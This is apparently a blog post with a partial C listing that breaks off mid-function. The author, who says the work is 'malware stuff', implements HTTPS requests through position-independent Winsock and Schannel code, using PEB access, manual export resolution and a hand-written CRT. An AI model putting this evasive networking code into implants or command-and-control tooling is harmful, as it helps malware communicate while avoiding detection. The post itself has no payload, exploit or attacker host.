Don't code like this: HTTPS Post and Get with Position Independent Windows Sockets

Seriously, don't ever do this. It's so dumb. If you're a regular person, use WinInet or WinHTTP. This project was more difficult than I anticipated and it's not as low-level as I'd like.

Windows Sockets (which I'll now refer to as Winsocks) internally do a lot of B.S. even doing something as simple as initializing. Winsocks is pretty nasty under the hood (internally). Attempting to recreate for malicious purposes can be extremely challenging. If you take a moment and review how ReactOS recreated WSAStartuparrow-up-right (the function responsible for initializing Winsocks), you'll see how deep the abstraction runs. It makes a series of internal (non-exportable) API calls which someone would also have to recreate. However, as you dig deeper, you'll eventually discover it ALL eventually wraps to NtDeviceIoControlFilearrow-up-right, sending IO control codes to AFD.sys (Ancillary Function Driver for Winsock).

You can read about AFD internals on this cool and badass blog here: Part 1: https://leftarcode.com/posts/afd-reverse-engineering-part1/arrow-up-right Part 2: https://leftarcode.com/posts/afd-reverse-engineering-part2/arrow-up-right Part 3: https://leftarcode.com/posts/afd-reverse-engineering-part3/arrow-up-right Part 4: https://leftarcode.com/posts/afd-reverse-engineering-part4/arrow-up-right

Generally speaking, the way I work when doing malware stuff, is start with normal regular WINAPI functionality. Once my "base" project has been completed, I slowly introduce more complexity and low-level functionality. I do this so I'm sure my code works as I expand on it.

Unfortunately, the code I wrote for this project is long. It is a big ol' son-of-a-gun. As I discovered it all eventually wraps to AFD.sys, my project was so large and robust I lost motivation to try to make it more low-level. In other words, I've already sank a lot of time into this and I don't want to do anymore work. This was a fun project, but I want to explore other things now.

Funnily enough, DomChel from MDSec commented this on Twitter as I discussed I was writing this project. He commented that x86matthew had done something similar with Winsocks, HTTP, and blah blah blah. I (falsely) believed his project and research was not applicable to mine. I knew it existed, I've reviewed it before, but I guess my memory is hot garbage because I was 100% wrong and DomChell was 100% right. If I had double checked what DomChel wrote, I (probably) could have had a more cool and badass code base and proof-of-concept.

Lesson learned. I should perform more research before doing something like this.

I think I might return to this code base at a later period in time and improve upon it. For now it's going on the shelf.

As a general note, to make this code snippet not 2,000+ lines long, this code has the entire PROCESS_ENVIRONMENT_BLOCKarrow-up-right structure present. It does this for loading stuff and using GetPebarrow-up-right(). This code also recreates the Windows CRT. I did this because I initially planned on going lower ... but ... as you're reading you can see how that went. Fortunately, I've done a bunch of CRT recreationarrow-up-right already so it was as simple as copy-pasta into my code.

As a FINAL note, I tested all of this on HTTPBinarrow-up-right. HTTPBin is an amazing website (and project) which can be used for debugging HTTP/S functionality. I love the project. I love you, Kenneth Reitzarrow-up-right. He is my hero for this project.

#define _WIN32_WINNT 0x0601
#define SECURITY_WIN32

#include <winsock2.h>
#include <ws2tcpip.h>
#include <windows.h>
#include <security.h>

#define SCHANNEL_CRED_VERSION 0x00000004
#define SCH_CRED_NO_DEFAULT_CREDS 0x00000010
#define SCH_CRED_REVOCATION_CHECK_CHAIN_EXCLUDE_ROOT 0x00000400
#define SECPKG_ATTR_REMOTE_CERT_CONTEXT 0x53
#define RTL_MAX_DRIVE_LETTERS 32
#define MAXIMUM_LEADBYTES 12

typedef _Function_class_(FN_DISPATCH) NTSTATUS NTAPI FN_DISPATCH(_In_opt_ PVOID Context);
typedef FN_DISPATCH* PFN_DISPATCH;
#define GDI_HANDLE_BUFFER_SIZE32 34
#define GDI_HANDLE_BUFFER_SIZE GDI_HANDLE_BUFFER_SIZE32
typedef ULONG GDI_HANDLE_BUFFER[GDI_HANDLE_BUFFER_SIZE];
typedef _Function_class_(PS_POST_PROCESS_INIT_ROUTINE)VOID NTAPI PS_POST_PROCESS_INIT_ROUTINE(VOID);
typedef PS_POST_PROCESS_INIT_ROUTINE* PPS_POST_PROCESS_INIT_ROUTINE;
typedef struct _LEAP_SECOND_DATA* PLEAP_SECOND_DATA;

//PEB headers go here .............
//.................................

typedef struct _SCHANNEL_CRED{
	DWORD dwVersion;
	DWORD cCreds;
	PCCERT_CONTEXT* paCred;
	HCERTSTORE hRootStore;
	DWORD cMappers;
	struct _HMAPPER** aphMappers;
	DWORD cSupportedAlgs;
	ALG_ID* palgSupportedAlgs;
	DWORD grbitEnabledProtocols;
	DWORD dwMinimumCipherStrength;
	DWORD dwMaximumCipherStrength;
	DWORD dwSessionLifespan;
	DWORD dwFlags;
	DWORD dwCredFormat;
} SCHANNEL_CRED, * PSCHANNEL_CRED;

PPEB GetPeb(VOID)
{
#if defined(_WIN64)
	return (PPEB)__readgsqword(0x60);
#elif define(_WIN32)
	return (PPEB)__readfsdword(0x30);
#endif
}

#define DEFAULT_BUFFER_ALLOCATION_SIZE 16384
#define DEFAULT_HTTPHEADER_GET_SIZE 68
#define DEFAULT_HTTPHEADER_POST_OCTETSTREAM_SIZE 104
#define InlineGetMinimum(a,b)(((a) < (b)) ? (a) : (b))
#define HTTP_CR '\r'
#define HTTP_LF '\n'
#define HTTP_SP ' '
#define HTTP_TB '\t'
#define HTTP_CO ':'
#define HTTP_DELIMITED_LENGTH 3
#define HTTP_DELIMITER "\r\n"

typedef NTSTATUS(NTAPI* LDRLOADDLL) (PWCHAR, DWORD, PUNICODE_STRING, PHANDLE);
typedef PVOID(NTAPI* RTLALLOCATEHEAP)(PVOID, ULONG, SIZE_T);
typedef BOOL(NTAPI* RTLFREEHEAP)(PVOID, ULONG, PVOID);
typedef INT(WINAPI* WSASTARTUP)(WORD, LPWSADATA);
typedef INT(WINAPI* WSACLEANUP)(VOID);
typedef INT(WINAPI* WSACONNECTSOCKET)(SOCKET, SOCKADDR*, INT, PVOID, PVOID, PVOID, PVOID);
typedef INT(WINAPI* WSACLOSECOCKET)(SOCKET);
typedef SOCKET(WINAPI* WSABINDSOCKETTOTRANSPORTPROVIDER)(INT, INT, INT, LPWSAPROTOCOL_INFOW, GROUP, DWORD);
typedef INT(WINAPI* WSAUNICODEHOSTTOADDRESS)(PCWSTR, PCWSTR, ADDRINFOW*, PADDRINFOW*);
typedef VOID(WINAPI* WSAFREEADDRESSRINFORMATION)(PADDRINFOW);
typedef INT(WINAPI* WSASENDBUFFER)(SOCKET, PCHAR, INT, INT);
typedef INT(WINAPI* WSARECEIVEBUFFER)(SOCKET, PCHAR, INT, INT);
typedef PVOID(WINAPI* INITIALIZESSPIFUNCTIONTABLE)(VOID);

typedef VOID(WINAPI* CERTFREECERTIFICATECHAIN)(PCCERT_CHAIN_CONTEXT);
typedef BOOL(WINAPI* CERTFREECERTIFICATECONTEXT)(PCCERT_CONTEXT);
typedef BOOL(WINAPI* CERTVERIFYCERTIFICATECHAINPOLICY)(LPCSTR, PCCERT_CHAIN_CONTEXT, PCERT_CHAIN_POLICY_PARA, PCERT_CHAIN_POLICY_STATUS);
typedef BOOL(WINAPI* CERTGETCERTIFICATECHAIN)(HCERTCHAINENGINE, PCCERT_CONTEXT, LPFILETIME, HCERTSTORE, PCERT_CHAIN_PARA, DWORD, LPVOID, PCCERT_CHAIN_CONTEXT*);

typedef struct _TLSCLIENT {
	CredHandle Cred;
	BOOL CredFlag;
	CtxtHandle Context;
	BOOL ContextFlag;
	SecPkgContext_StreamSizes Sizes;
}TLSCLIENT, *PTLSCLIENT;

typedef struct _HTTP_HEADER {
	PCHAR Name;
	PCHAR Value;
} HTTP_HEADER, * PHTTP_HEADER;

typedef struct _HTTP_RESPONSE {
	INT StatusCode;
	PCHAR Reason;
	SIZE_T ReasonLength;
	HTTP_HEADER Headers[64];
	SIZE_T HeaderCount;
	PBYTE Body;
	SIZE_T BodyLength;
} HTTP_RESPONSE, * PHTTP_RESPONSE;

typedef struct _LOADOBJECT {
	UNICODE_STRING String;
	DWORD64 Base;
}LOADOBJECT, *PLOADOBJECT;

typedef struct _API_TABLE{
	LDRLOADDLL LdrLoadDll;
	RTLALLOCATEHEAP RtlAllocateHeap;
	RTLFREEHEAP RtlFreeHeap;
	INITIALIZESSPIFUNCTIONTABLE InitializeSspiFunctionTable;
	PSecurityFunctionTableW SspiVirtualFunctionTable;
	WSASTARTUP WsaStartup;
	WSACLEANUP WsaCleanup;
	WSACONNECTSOCKET WsaConnectSocket;
	WSACLOSECOCKET WsaCloseSocket;
	WSABINDSOCKETTOTRANSPORTPROVIDER WsaBindSocketToTransportProvider;
	WSAUNICODEHOSTTOADDRESS WsaUnicodeHostToAddress;
	WSAFREEADDRESSRINFORMATION WsaFreeAddressInformation;
	WSASENDBUFFER WsaSendBuffer;
	WSARECEIVEBUFFER WsaReceiveBuffer;
	CERTFREECERTIFICATECHAIN CertFreeCertificateChain;
	CERTFREECERTIFICATECONTEXT CertFreeCertificateContext;
	CERTVERIFYCERTIFICATECHAINPOLICY CertVerifyCertificateChainPolicy;
	CERTGETCERTIFICATECHAIN CertGetCertificateChain;
}API_TABLE, * PAPI_TABLE;

VOID ImplZeroMemory2(PVOID Destination, SIZE_T Size)
{
	PCHAR Pointer = (PCHAR)Destination;
	PCHAR End = Pointer + Size;

	for (;;)
	{
		if (Pointer >= End) break; *Pointer++ = 0;
		if (Pointer >= End) break; *Pointer++ = 0;
		if (Pointer >= End) break; *Pointer++ = 0;
		if (Pointer >= End) break; *Pointer++ = 0;
	}
}

VOID RtlInitializeSecurityBuffer(SecBuffer* SecurityBuffer, ULONG BufferType, ULONG cbBuffer, PVOID pvBuffer)
{
	SecurityBuffer->BufferType = BufferType;
	SecurityBuffer->cbBuffer = cbBuffer;
	SecurityBuffer->pvBuffer = pvBuffer;
}

VOID RtlInitializeSecurityDescription(SecBufferDesc* SecurityDescription, ULONG ulVersion, ULONG cBuffers, PSecBuffer pBuffers)
{
	SecurityDescription->ulVersion = ulVersion;
	SecurityDescription->cBuffers = cBuffers;
	SecurityDescription->pBuffers = pBuffers;
}

PVOID CopyMemoryEx(_Inout_ PVOID Destination, _In_ CONST PVOID Source, _In_ SIZE_T Length)
{
	PBYTE D = (PBYTE)Destination;
	PBYTE S = (PBYTE)Source;

	while (Length--)
		*D++ = *S++;

	return Destination;
}

SIZE_T StringLengthA(PCHAR String)
{
	PCHAR String2;

	for (String2 = String; *String2; ++String2);

	return (String2 - String);
}

PCHAR StringCopyA(PCHAR String1, PCHAR String2)
{
	PCHAR p = String1;

	while ((*p++ = *String2++) != 0);

	return String1;
}

PCHAR StringConcatA(PCHAR String, PCHAR String2)
{
	StringCopyA(&String[StringLengthA(String)], String2);

	return String;
}

VOID ImplFreeContextBuffer(PAPI_TABLE Api, PVOID Buffer)
{
	Api->RtlFreeHeap(GetPeb()->ProcessHeap, 0, Buffer);
	return;
}

PCHAR IncrementPointerNoMutate(PCHAR p)
{
	return p ? p + 1 : NULL;
}

PCHAR IncrementPointerNoMutateOffset(PCHAR p, SIZE_T Offset)
{
	return p ? p + Offset : NULL;
}

INT CompareMemory(PVOID MemoryA, PVOID MemoryB, SIZE_T Length)
{
	PBYTE Pointer1 = (PBYTE)MemoryA;
	PBYTE Pointer2 = (PBYTE)MemoryB;

	while (Length--)
	{
		if (*Pointer1 != *Pointer2)
			return (INT)(*Pointer1 - *Pointer2);

		Pointer1++;
		Pointer2++;
	}

	return 0;
}

PCHAR FindStringInMemoryRegion(PCHAR Buffer, SIZE_T BufferLength, PCHAR String, SIZE_T StringLength)
{
	for (SIZE_T i = 0; i + StringLength <= BufferLength; i++)
	{
		if (CompareMemory(Buffer + i, String, StringLength) == 0)
			return Buffer + i;
	}

	return NULL;
}

INT LowercaseCharacter(INT Character)
{
	if (Character >= 'A' && Character <= 'Z')
		return (Character - 'A' + 'a');

	return Character;
}

INT StringCompareByLengthLowerA(PCHAR String1, PCHAR String2, SIZE_T Length)
{
	INT Lower1 = 0;
	INT Lower2 = 0;

	for (SIZE_T i = 0; i < Length; i++)
	{
		Lower1 = LowercaseCharacter((BYTE)String1[i]);
		Lower2 = LowercaseCharacter((BYTE)String2[i]);

		if (Lower1 != Lower2)
			return (Lower1 - Lower2);

		if ((BYTE)String1[i] == 0)
			return 0;
	}

	return 0;
}

INT StringCompareA(LPCSTR String1, LPCSTR String2)
{
	for (; *String1 == *String2; String1++, String2++)
	{
		if (*String1 == '\0')
			return 0;
	}

	return ((*(LPCSTR)String1 < *(LPCSTR)String2) ? -1 : +1);
}

PVOID HttpFindByte(PVOID Buffer, INT Target, SIZE_T Length)
{
	PBYTE Pointer = (PBYTE)Buffer;
	PBYTE End = (PBYTE)IncrementPointerNoMutateOffset((PCHAR)Buffer, Length);
	BYTE TargetByte = Target;

	for (; Pointer < End; Pointer++)
	{
		if (*Pointer == TargetByte)
			return (PVOID)Pointer;
	}

	return NULL;
}

INT GetHttpStatusCode(PCHAR Buffer, SIZE_T Length)
{
	INT Status = 0;

	for (SIZE_T i = 0; i < Length; i++)
	{
		if (Buffer[i] < '0' || Buffer[i] > '9')
			return -1;

		Status = (Status * 10) + (Buffer[i] - '0');
	}

	if (Status < 100 || Status > 599)
		return -1;

	return Status;
}

PCHAR ParseHttpHeaderValue(PAPI_TABLE Api, PCHAR String, SIZE_T Count)
{
	PCHAR Out = (PCHAR)Api->RtlAllocateHeap(GetPeb()->ProcessHeap, HEAP_ZERO_MEMORY, Count + 1);
	if (Out == NULL)
		return NULL;

	CopyMemory(Out, String, Count);

	Out[Count] = '\0';

	return Out;
}

PCHAR HttpUSizeToDecimalA(SIZE_T Value, PCHAR Out, SIZE_T OutSize)
{
	SIZE_T i = 0;

	if (Value == 0)
	{
		Out[0] = '0';
		Out[1] = '\0';
		return Out;
	}

	while (Value != 0)
	{
		if (i + 1 >= OutSize)
			return NULL;

		Out[i++] = (CHAR)('0' + (Value % 10));
		Value /= 10;
	}

	for (SIZE_T FrontIndex = 0, BackIndex = i - 1; FrontIndex < BackIndex; FrontIndex++, BackIndex--)
	{
		CHAR Object = Out[FrontIndex];
		Out[FrontIndex] = Out[BackIndex];
		Out[BackIndex] = Object;
	}

	Out[i] = '\0';
	return Out;
}

SIZE_T StringLengthW(_In_ LPCWSTR String)
{
	LPCWSTR String2;

	for (String2 = String; *String2; ++String2);

	return (String2 - String);
}

VOID RtlInitUnicodeString(_Inout_ PUNICODE_STRING DestinationString, _In_ PCWSTR SourceString)
{
	SIZE_T DestSize;

	if (SourceString)
	{
		DestSize = StringLengthW(SourceString) * sizeof(WCHAR);
		DestinationString->Length = (USHORT)DestSize;
		DestinationString->MaximumLength = (USHORT)DestSize + sizeof(WCHAR);
	}
	else
	{
		DestinationString->Length = 0;
		DestinationString->MaximumLength = 0;
	}

	DestinationString->Buffer = (PWCHAR)SourceString;
}

BOOL RtlLoadPeHeaders(PIMAGE_DOS_HEADER* Dos, PIMAGE_NT_HEADERS* Nt, PIMAGE_FILE_HEADER* File, PIMAGE_OPTIONAL_HEADER* Optional, PBYTE* ImageBase)
{
	*Dos = (PIMAGE_DOS_HEADER)*ImageBase;
	if ((*Dos)->e_magic != IMAGE_DOS_SIGNATURE)
		return FALSE;

	*Nt = (PIMAGE_NT_HEADERS)((PBYTE)*Dos + (*Dos)->e_lfanew);
	if ((*Nt)->Signature != IMAGE_NT_SIGNATURE)
		return FALSE;

	*File = (PIMAGE_FILE_HEADER)(*ImageBase + (*Dos)->e_lfanew + sizeof(DWORD));
	*Optional = (PIMAGE_OPTIONAL_HEADER)((PBYTE)*File + sizeof(IMAGE_FILE_HEADER));

	return TRUE;
}

DWORD64 ImportFunction(DWORD64 ModuleBase, PCHAR Function)
{
	PBYTE pFunctionName;
	PIMAGE_DOS_HEADER Dos;
	PIMAGE_NT_HEADERS Nt;
	PIMAGE_FILE_HEADER File;
	PIMAGE_OPTIONAL_HEADER Optional;

	RtlLoadPeHeaders(&Dos, &Nt, &File, &Optional, (PBYTE*)&ModuleBase);

	IMAGE_EXPORT_DIRECTORY* ExportTable = (PIMAGE_EXPORT_DIRECTORY)(ModuleBase + Optional->DataDirectory[0].VirtualAddress);
	PDWORD FunctionNameAddressArray = (PDWORD)((LPBYTE)ModuleBase + ExportTable->AddressOfNames);
	PDWORD FunctionAddressArray = (PDWORD)((LPBYTE)ModuleBase + ExportTable->AddressOfFunctions);
	PWORD FunctionOrdinalAddressArray = (PWORD)((LPBYTE)ModuleBase + ExportTable->AddressOfNameOrdinals);
	DWORD dwX;

	for (dwX = 0; dwX < ExportTable->NumberOfNames; dwX++)
	{
		pFunctionName = FunctionNameAddressArray[dwX] + (PBYTE)ModuleBase;

		if(StringCompareA(Function, (PCHAR)(FunctionNameAddressArray[dwX] + (PBYTE)ModuleBase)) == 0)
			return ((DWORD64)ModuleBase + FunctionAddressArray[FunctionOrdinalAddressArray[dwX]]);
	}

	return ERROR_SUCCESS;
}

VOID FreeHttpResponse(PAPI_TABLE Api, PHTTP_RESPONSE Response)
{
	if (Response->Reason) 
	{
		Api->RtlFreeHeap(GetPeb()->ProcessHeap, 0, (PVOID)Response->Reason);
		Response->Reason = NULL;
		Response->ReasonLength = 0;
	}

	for (SIZE_T i = 0; i < Response->HeaderCount; i++)
	{
		if (Response->Headers[i].Name) 
		{
			Api->RtlFreeHeap(GetPeb()->ProcessHeap, 0, (PVOID)Response->Headers[i].Name);
			Response->Headers[i].Name = NULL;
		}

		if (Response->Headers[i].Value) 
		{
			Api->RtlFreeHeap(GetPeb()->ProcessHeap, 0, (PVOID)Response->Headers[i].Value);
			Response->Headers[i].Value = NULL;
		}
	}

	Response->HeaderCount = 0;
}

PCHAR HttpGetCrlf(PCHAR Start, PCHAR End)
{
	for (PCHAR p = Start; IncrementPointerNoMutate(p) < End; p++)
	{
		if (p[0] == HTTP_CR && p[1] == HTTP_LF)
			return p;
	}

	return NULL;
}

PBYTE RtlProcessInitialHttpHeaderClrf(PBYTE Data, SIZE_T Length)
{
	PCHAR HttpBufferStart = (PCHAR)Data;
	PCHAR HttpBufferEnd = IncrementPointerNoMutateOffset(HttpBufferStart, Length);

	PCHAR InitialCrlfObject = HttpGetCrlf(HttpBufferStart, HttpBufferEnd);
	for (PCHAR CrlfObjectNext = NULL; InitialCrlfObject;)
	{
		CrlfObjectNext = IncrementPointerNoMutateOffset(InitialCrlfObject, 2);

		if (IncrementPointerNoMutate(CrlfObjectNext) < HttpBufferEnd && CrlfObjectNext[0] == HTTP_CR && CrlfObjectNext[1] == HTTP_LF)
			return (PBYTE)InitialCrlfObject;

		InitialCrlfObject = HttpGetCrlf(IncrementPointerNoMutateOffset(InitialCrlfObject, 2), HttpBufferEnd);
	}

	return NULL;
}

BOOL ProcessHttpResponseData(PAPI_TABLE Api, PBYTE Data, SIZE_T DataLength, PHTTP_RESPONSE Response)
{
	PBYTE HeaderDelimitedObject = NULL;
	PCHAR HttpHeaderStart = NULL;
	PCHAR HttpHeaderEnd = NULL;
	PCHAR LineTerminationPointer = NULL;

	PCHAR VersionEnd = NULL;
	PCHAR StatusCodeEnd = NULL;

	HeaderDelimitedObject = RtlProcessInitialHttpHeaderClrf(Data, DataLength);
	if (!HeaderDelimitedObject)
		return FALSE;

	HttpHeaderStart = (PCHAR)Data;
	HttpHeaderEnd = (PCHAR)Data + (SIZE_T)(HeaderDelimitedObject - Data);

	LineTerminationPointer = HttpGetCrlf(HttpHeaderStart, HttpHeaderEnd);
	if (!LineTerminationPointer)
		return FALSE;

	VersionEnd = (PCHAR)HttpFindByte((PVOID)HttpHeaderStart, HTTP_SP, (SIZE_T)(LineTerminationPointer - HttpHeaderStart));
	StatusCodeEnd = (PCHAR)HttpFindByte((PVOID)IncrementPointerNoMutate(VersionEnd), HTTP_SP, (SIZE_T)(LineTerminationPointer - IncrementPointerNoMutate(VersionEnd)));
	if (!VersionEnd || !StatusCodeEnd)
		return FALSE;

	Response->StatusCode = GetHttpStatusCode(IncrementPointerNoMutate(VersionEnd), (SIZE_T)(StatusCodeEnd - IncrementPointerNoMutate(VersionEnd)));
	if (Response->StatusCode < 0)
		return FALSE;

	Response->Reason = ParseHttpHeaderValue(Api, (PCHAR)IncrementPointerNoMutate(StatusCodeEnd), (SIZE_T)(LineTerminationPointer - (IncrementPointerNoMutate(StatusCodeEnd))));
	if (Response->Reason == NULL)
		return FALSE;

	HttpHeaderStart = (PCHAR)IncrementPointerNoMutateOffset(LineTerminationPointer, 2);

	for(PCHAR HttpLineEndObject = NULL, HttpParseDelimiterPointer = NULL, HttpParseValuePointer = NULL; HttpHeaderStart < HttpHeaderEnd;)
	{
		HttpLineEndObject = NULL;
		HttpParseDelimiterPointer = NULL;
		HttpParseValuePointer = NULL;
		
		if ((SIZE_T)(HttpHeaderEnd - HttpHeaderStart) < 2)
			break;

		HttpLineEndObject = HttpGetCrlf(HttpHeaderStart, HttpHeaderEnd);
		if (!HttpLineEndObject)
			break;
			
		HttpParseDelimiterPointer = (PCHAR)HttpFindByte((PVOID)HttpHeaderStart, HTTP_CO, (SIZE_T)(HttpLineEndObject - HttpHeaderStart));
		if (HttpParseDelimiterPointer && Response->HeaderCount < 64)
		{
			HttpParseValuePointer = IncrementPointerNoMutate(HttpParseDelimiterPointer);
			while (HttpParseValuePointer < HttpLineEndObject && (*HttpParseValuePointer == HTTP_SP || *HttpParseValuePointer == HTTP_TB))
				HttpParseValuePointer++;

			Response->Headers[Response->HeaderCount].Name = ParseHttpHeaderValue(Api, HttpHeaderStart, (SIZE_T)(HttpParseDelimiterPointer - HttpHeaderStart));
			Response->Headers[Response->HeaderCount].Value = ParseHttpHeaderValue(Api, HttpParseValuePointer, (SIZE_T)(HttpLineEndObject - HttpParseValuePointer));
			if (!Response->Headers[Response->HeaderCount].Value || !Response->Headers[Response->HeaderCount].Name)
				return FALSE;

			Response->HeaderCount++;
		}

		HttpHeaderStart = IncrementPointerNoMutateOffset(HttpLineEndObject, 2);
	}

	Response->Body = (PBYTE)IncrementPointerNoMutateOffset((PCHAR)HeaderDelimitedObject, 4);
	Response->BodyLength = DataLength - (SIZE_T)(Response->Body - Data);

	return TRUE;
}

INT WsaTransmitTcpSocket(PAPI_TABLE Api, SOCKET Socket, PVOID Buffer, INT Length)
{
	PCHAR p = (PCHAR)Buffer;
	INT Sent = 0;

	for (INT BytesSentIncremental = 0; Sent < Length;)
	{
		BytesSentIncremental = Api->WsaSendBuffer(Socket, IncrementPointerNoMutateOffset(p, Sent), Length - Sent, 0);

		if (BytesSentIncremental <= 0)
			return BytesSentIncremental;

		Sent += BytesSentIncremental;
	}

	return Sent;
}

SOCKET WsaTcpInitializeConnection(PAPI_TABLE Api, PWCHAR HostUrl, PWCHAR Port)
{
	SOCKET Socket = INVALID_SOCKET;
	ADDRINFOW* Result = NULL;

	ADDRINFOW Info = { 0 };
	Info.ai_family = AF_UNSPEC;
	Info.ai_socktype = SOCK_STREAM;
	Info.ai_protocol = IPPROTO_TCP;

	if(Api->WsaUnicodeHostToAddress(HostUrl, Port, &Info, &Result) != ERROR_SUCCESS)
		return NULL;

	for (ADDRINFOW* p = Result; p; p = p->ai_next)
	{
		Socket = (SOCKET)Api->WsaBindSocketToTransportProvider(p->ai_family, p->ai_socktype, p->ai_protocol, NULL, 0, 0);
		if (Socket == NULL)
			continue;

		if (Api->WsaConnectSocket(Socket, p->ai_addr, (INT)p->ai_addrlen, NULL, NULL, NULL, NULL) == 0)
		{
			Api->WsaFreeAddressInformation(Result);
			return Socket;
		}

		Api->WsaCloseSocket(Socket);
	}

	Api->WsaFreeAddressInformation(Result);
	return INVALID_SOCKET;
}

BOOL WsaPerformTlsHandshake(PAPI_TABLE Api, PTLSCLIENT TlsClient, SOCKET Socket, PWCHAR Host)
{
	SECURITY_STATUS SecurityStatus = 0;
	TimeStamp Expiration;
	ImplZeroMemory2(&Expiration, sizeof(Expiration));

	PBYTE Data = NULL;
	DWORD Length = 0;
	BOOL bFlag = FALSE;
	DWORD ContextRequirement = ISC_REQ_SEQUENCE_DETECT | ISC_REQ_REPLAY_DETECT | ISC_REQ_CONFIDENTIALITY | ISC_REQ_EXTENDED_ERROR | ISC_REQ_ALLOCATE_MEMORY | ISC_REQ_STREAM;

	SCHANNEL_CRED ChannelCredential;
	ImplZeroMemory2(&ChannelCredential, sizeof(ChannelCredential));

	ChannelCredential.dwVersion = SCHANNEL_CRED_VERSION;
	ChannelCredential.dwFlags = SCH_CRED_NO_DEFAULT_CREDS | SCH_CRED_REVOCATION_CHECK_CHAIN_EXCLUDE_ROOT;

	SecBufferDesc OutputSecurityDescription;
	ImplZeroMemory2(&OutputSecurityDescription, sizeof(OutputSecurityDescription));

	SecBuffer OutputSecurityBuffer;
	ImplZeroMemory2(&OutputSecurityBuffer, sizeof(OutputSecurityBuffer));

	SecBufferDesc InputSecurityDescription;
	ImplZeroMemory2(&InputSecurityDescription, sizeof(InputSecurityDescription));

	SecBuffer InputSecurityBuffer[2];
	ImplZeroMemory2(&InputSecurityBuffer, sizeof(InputSecurityBuffer));

	PCCERT_CONTEXT ServerCertificate = NULL;

	CERT_CHAIN_PARA CertChainParameters;
	ImplZeroMemory2(&CertChainParameters, sizeof(CertChainParameters));

	CertChainParameters.cbSize = sizeof(CertChainParameters);

	PCCERT_CHAIN_CONTEXT ChainContext = NULL;

	SSL_EXTRA_CERT_CHAIN_POLICY_PARA Extra;
	ImplZeroMemory2(&Extra, sizeof(Extra));

	Extra.cbSize = sizeof(Extra);
	Extra.dwAuthType = AUTHTYPE_SERVER;
	Extra.pwszServerName = Host;

	CERT_CHAIN_POLICY_PARA Policy;
	ImplZeroMemory2(&Policy, sizeof(Policy));

	Policy.cbSize = sizeof(Policy);
	Policy.pvExtraPolicyPara = &Extra;

	CERT_CHAIN_POLICY_STATUS PolicyStatus;
	ImplZeroMemory2(&PolicyStatus, sizeof(PolicyStatus));

	PolicyStatus.cbSize = sizeof(PolicyStatus);
	
	SecurityStatus = Api->SspiVirtualFunctionTable->AcquireCredentialsHandleW(
		NULL, 
		(LPWSTR)L"Microsoft Unified Security Protocol Provider", 
		SECPKG_CRED_OUTBOUND, 
		NULL, 
		&ChannelCredential,
		NULL, 
		NULL, 
		&TlsClient->Cred, 
		&Expiration);

	if (SecurityStatus != SEC_E_OK)
		return FALSE;
	else
		TlsClient->CredFlag = TRUE;

	Data = (PBYTE)Api->RtlAllocateHeap(GetProcessHeap(), HEAP_ZERO_MEMORY, DEFAULT_BUFFER_ALLOCATION_SIZE);
	if (Data == NULL)
		goto EXIT_ROUTINE;

	while(TRUE)
	{
		RtlInitializeSecurityBuffer(&InputSecurityBuffer[0], SECBUFFER_TOKEN, Length, ((Length > 0) ? Data : NULL));
		RtlInitializeSecurityBuffer(&InputSecurityBuffer[1], SECBUFFER_EMPTY, 0, NULL);
		RtlInitializeSecurityDescription(&InputSecurityDescription, SECBUFFER_VERSION, 2, InputSecurityBuffer);
		RtlInitializeSecurityBuffer(&OutputSecurityBuffer, SECBUFFER_TOKEN, 0, NULL);
		RtlInitializeSecurityDescription(&OutputSecurityDescription, SECBUFFER_VERSION, 1, &OutputSecurityBuffer);

		DWORD ContextAttributes = ERROR_SUCCESS;
		INT Sent = 0;
		INT Received = 0;

		ImplZeroMemory2(&Expiration, sizeof(TimeStamp));
		SecurityStatus = 0;

		if (!TlsClient->ContextFlag)
		{
			SecurityStatus = Api->SspiVirtualFunctionTable->InitializeSecurityContextW(
				&TlsClient->Cred, 
				NULL, 
				Host, 
				ContextRequirement, 
				0, 
				SECURITY_NATIVE_DREP, 
				NULL, 
				0, 
				&TlsClient->Context, 
				&OutputSecurityDescription, 
				&ContextAttributes, 
				&Expiration);

			TlsClient->ContextFlag = TRUE;
		}
		else {
			SecurityStatus = Api->SspiVirtualFunctionTable->InitializeSecurityContextW(
				&TlsClient->Cred,
				&TlsClient->Context,
				Host,
				ContextRequirement,
				0,
				SECURITY_NATIVE_DREP,
				&InputSecurityDescription,
				0,
				NULL,
				&OutputSecurityDescription,
				&ContextAttributes,
				&Expiration);
		}

		if (OutputSecurityBuffer.pvBuffer && OutputSecurityBuffer.cbBuffer)
		{
			Sent = WsaTransmitTcpSocket(Api, Socket, OutputSecurityBuffer.pvBuffer, (INT)OutputSecurityBuffer.cbBuffer);
			if (Sent <= 0)
				goto EXIT_ROUTINE;
			else
				ImplFreeContextBuffer(Api, OutputSecurityBuffer.pvBuffer);
		}

		if (SecurityStatus == SEC_E_OK)
			break;

		if (SecurityStatus == SEC_I_CONTINUE_NEEDED || SecurityStatus == SEC_E_INCOMPLETE_MESSAGE)
		{
			if (InputSecurityBuffer[1].BufferType == SECBUFFER_EXTRA)
			{
				MoveMemory(Data, IncrementPointerNoMutateOffset((PCHAR)Data, (Length - InputSecurityBuffer[1].cbBuffer)), InputSecurityBuffer[1].cbBuffer);
				Length = InputSecurityBuffer[1].cbBuffer;
			}
			else
				Length = 0;

			if (Length >= DEFAULT_BUFFER_ALLOCATION_SIZE)
				goto EXIT_ROUTINE;

			Received = Api->WsaReceiveBuffer(Socket, (PCHAR)Data + Length, (INT)(DEFAULT_BUFFER_ALLOCATION_SIZE - Length), 0);
		
			if (Received <= 0)
				goto EXIT_ROUTINE;

			Length += (DWORD)Received;
		}
		else
			goto EXIT_ROUTINE;	
	}

	SecurityStatus = 0;
	SecurityStatus = Api->SspiVirtualFunctionTable->QueryContextAttributesW(&TlsClient->Context, SECPKG_ATTR_STREAM_SIZES, &TlsClient->Sizes);
	if (SecurityStatus != SEC_E_OK)
		goto EXIT_ROUTINE;

	SecurityStatus = 0;
	SecurityStatus = Api->SspiVirtualFunctionTable->QueryContextAttributesW(&TlsClient->Context, SECPKG_ATTR_REMOTE_CERT_CONTEXT, (PVOID)&ServerCertificate);
	if (SecurityStatus != SEC_E_OK || ServerCertificate == NULL)
		goto EXIT_ROUTINE;

	if (!Api->CertGetCertificateChain(NULL, ServerCertificate, NULL, ServerCertificate->hCertStore, &CertChainParameters, 0, NULL, &ChainContext))
		goto EXIT_ROUTINE;

	if (!Api->CertVerifyCertificateChainPolicy(CERT_CHAIN_POLICY_SSL, ChainContext, &Policy, &PolicyStatus))
		goto EXIT_ROUTINE;

	if (PolicyStatus.dwError != ERROR_SUCCESS)
